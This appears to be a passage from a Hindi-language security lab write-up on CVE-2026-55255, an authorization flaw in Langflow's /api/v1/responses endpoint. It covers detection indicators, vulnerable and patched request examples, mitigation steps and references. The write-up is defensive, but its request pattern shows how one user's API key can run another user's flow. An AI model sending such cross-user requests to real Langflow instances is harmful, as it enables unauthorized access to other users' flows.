व्यावहारिक शोषण क्षमता इस बात पर निर्भर करती है कि हमलावर एक मान्य पीड़ित फ़्लो UUID प्राप्त कर सकता है या नहीं। फ़्लो UUID का अनुमान लगाना इस लैब का केंद्र बिंदु नहीं है, और PoC फ़्लो आईडी पर ब्रूट-फ़ोर्स नहीं करता है।

यह लैब केवल सुरक्षित प्राधिकरण सीमा विफलता प्रदर्शित करता है:```text attacker API key

  • victim flow UUID
  • victim-only marker returned
root@kitploit:~
लैब वास्तविक डेटा एक्सेस, वास्तविक गुप्त एक्सेस, LLM प्रोवाइडर कुंजी दुरुपयोग, बाहरी कॉलबैक, या पोस्ट-एक्सप्लॉइटेशन का प्रदर्शन नहीं करता है।

## पहचान और निगरानी

संभावित संकेतकों में प्रमाणित अनुरोध शामिल हैं:```text
POST /api/v1/responses

संदिग्ध अनुरोध पैटर्न:```text x-api-key belongs to user A model contains flow UUID owned by user B

root@kitploit:~
उच्च-संकेत पहचान विचार:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID

समीक्षा के लिए संभावित एप्लिकेशन-लेयर लॉग या टेलीमेट्री:

  • API कुंजी स्वामी,
  • अनुरोध पथ,
  • model मान,
  • हल किया गया flow ID,
  • हल किया गया flow स्वामी,
  • प्रतिक्रिया त्रुटि कोड,
  • flow_not_found प्रतिक्रियाएँ,
  • /api/v1/responses से सफलतापूर्वक पूर्ण प्रतिक्रियाएँ,
  • असामान्य क्रॉस-यूज़र flow निष्पादन प्रयास,
  • कई flow UUIDs के विरुद्ध बार-बार प्रयास,
  • और कम-विशेषाधिकार वाले उपयोगकर्ता से असामान्य रूप से उच्च API उपयोग।

भेद्य सत्यापन आर्टिफैक्ट का उदाहरण:```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID

Response: status: completed error: null output contains victim-only marker

root@kitploit:~
पैच किए गए सत्यापन आर्टिफैक्ट का उदाहरण:```text
Request:
  POST /api/v1/responses
  x-api-key: attacker user's API key
  model: victim user's flow UUID

Response:
  error.code: flow_not_found
  victim marker not returned

अनुशंसित निगरानी क्रियाएँ:

  • /api/v1/responses के लिए API लॉग की समीक्षा करें।
  • API कुंजी स्वामी को अनुरोधित फ़्लो स्वामी के साथ सहसंबंधित करें।
  • क्रॉस-यूज़र फ़्लो UUID उपयोग पर अलर्ट करें।
  • Responses API के विरुद्ध flow_not_found बर्स्ट की समीक्षा करें।
  • नए बनाए गए या कम-विशेषाधिकार वाले उपयोगकर्ताओं द्वारा असामान्य रूप से उच्च API उपयोग की समीक्षा करें।
  • सार्वजनिक या साझा चैनलों की समीक्षा करें जहाँ फ़्लो UUID उजागर हो सकते हैं।
  • यदि दुरुपयोग का संदेह हो तो प्रभावित API कुंजियाँ रोटेट करें।
  • संवेदनशील कनेक्टर, टूल या डेटा स्रोतों के लिए पीड़ित-स्वामित्व वाले फ़्लो की समीक्षा करें।

शमन और पैच नोट्स

Langflow को पैच किए गए संस्करण में अपग्रेड करें।

GitHub Advisory GHSA-qrpv-q767-xqq2, Langflow 1.9.1 को CVE-2026-55255 के लिए पैच किए गए संस्करण के रूप में सूचीबद्ध करता है। कुछ डाउनस्ट्रीम भेद्यता खुफिया स्रोत 1.9.2 का उल्लेख करते हैं या पैच किए गए संस्करण के बारे में मिश्रित शब्दावली रखते हैं। यह लैब सत्यापित करती है कि Langflow 1.9.1 परीक्षण किए गए /api/v1/responses क्रॉस-यूज़र निष्पादन पथ को flow_not_found के साथ अवरुद्ध करता है। उत्पादन वातावरण के लिए, लैब तुलना संस्करण पर रुकने के बजाय नवीनतम उपलब्ध Langflow रिलीज़ में अपडेट करें।

अनुशंसित शमन चरण:

  • Langflow को पैच किए गए या नवीनतम उपलब्ध संस्करण में अपग्रेड करें।
  • पुष्टि करें कि स्थापित संस्करण प्रभावित सीमा में नहीं है।
  • जहाँ संभव हो, Langflow की पहुँच को विश्वसनीय नेटवर्क तक सीमित करें।
  • API रूट्स के लिए प्रमाणीकरण आवश्यक बनाएँ।
  • यदि शोषण का संदेह हो तो API कुंजियों की समीक्षा करें और रोटेट करें।
  • फ़्लो स्वामित्व और साझाकरण कॉन्फ़िगरेशन की समीक्षा करें।
  • क्रॉस-यूज़र /api/v1/responses अनुरोधों के लिए लॉग की समीक्षा करें।
  • फ़्लो UUID को अनावश्यक रूप से उजागर करने से बचें।
  • रिवर्स प्रॉक्सी या WAF ब्लॉक को अस्थायी नियंत्रण मानें, न कि अपग्रेड के विकल्प के रूप में।
  • मल्टी-टेनेंट वातावरण में, परीक्षण करें कि API-कुंजी उपयोगकर्ता उन फ़्लो को निष्पादित नहीं कर सकते जिनके वे स्वामी नहीं हैं।

सुरक्षा इंजीनियरिंग सबक:

  • ऑब्जेक्ट UUID की गोपनीयता पर प्राधिकरण नियंत्रण के रूप में भरोसा न करें।
  • ऑब्जेक्ट लुकअप को प्रमाणित प्रिंसिपल द्वारा स्कोप करें।
  • हल किए गए ऑब्जेक्ट का उपयोग करने से पहले स्वामित्व जाँच लागू करें।
  • जब उन्हें प्रमाणित संदर्भ की आवश्यकता हो, तो सामान्य रिज़ॉल्वर हेल्पर्स के सीधे उपयोग को रूट निर्भरताओं के रूप में टालें।
  • ऑब्जेक्ट अस्तित्व प्रकटीकरण से बचने के लिए not-found प्रतिक्रियाओं को सावधानी से संभालें।
  • क्रॉस-यूज़र ऑब्जेक्ट एक्सेस के लिए प्रतिगमन परीक्षण जोड़ें।

सुरक्षा सीमाएँ

यह लैब केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।

PoC या मैन्युअल curl अनुरोध उन प्रणालियों के विरुद्ध न चलाएँ जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।

इस लैब में वास्तविक उत्पादन क्रेडेंशियल, ग्राहक डेटा, भुगतान डेटा, API कुंजियाँ, LLM प्रदाता कुंजियाँ, डेटाबेस क्रेडेंशियल या उत्पादन सीक्रेट्स का उपयोग न करें।

इच्छित दायरा स्थानीय Docker सेवाओं तक सीमित है, जैसे:```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861

root@kitploit:~
The PoC जानबूझकर अनुरोध-आधारित है। यह Docker, Docker Compose, shell commands, WP-CLI, या container APIs को कॉल नहीं करता है।

लैब में निम्नलिखित के लिए payloads शामिल नहीं हैं:

* flow UUID ब्रूट फोर्सिंग,
* उपयोगकर्ता एन्यूमरेशन,
* क्रेडेंशियल चोरी,
* डेटाबेस डंपिंग,
* LLM प्रोवाइडर कुंजी का दुरुपयोग,
* मनमाना कमांड निष्पादन,
* मैलवेयर,
* पर्सिस्टेंस,
* लेटरल मूवमेंट,
* ग्राहक डेटा एक्सेस,
* या बाहरी कॉलबैक।

लक्ष्य एक नियंत्रित वातावरण में एक विशिष्ट तकनीकी स्थिति प्रदर्शित करना है:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found

संदर्भ

  • CVE रिकॉर्ड: CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255

  • GitHub सलाह: GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2

  • GitLab सलाह: CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/

  • Langflow पुल अनुरोध: fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832

  • Langflow OpenAI Responses API दस्तावेज़ https://docs.langflow.org/api-openai-responses

  • Langflow API कुंजियाँ और प्रमाणीकरण दस्तावेज़ https://docs.langflow.org/api-keys-and-authentication

  • Langflow API संदर्भ उदाहरण https://docs.langflow.org/api-reference-api-examples

  • Langflow GitHub रिपॉजिटरी https://github.com/langflow-ai/langflow

  • Langflow Docker इमेज https://hub.docker.com/r/langflowai/langflow

  • GHSA-qrpv-q767-xqq2 के लिए Tenable प्लगिन नोट https://www.tenable.com/plugins/container-security/443659

  • Mondoo भेद्यता खुफिया: CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255

टूल डाउनलोड करें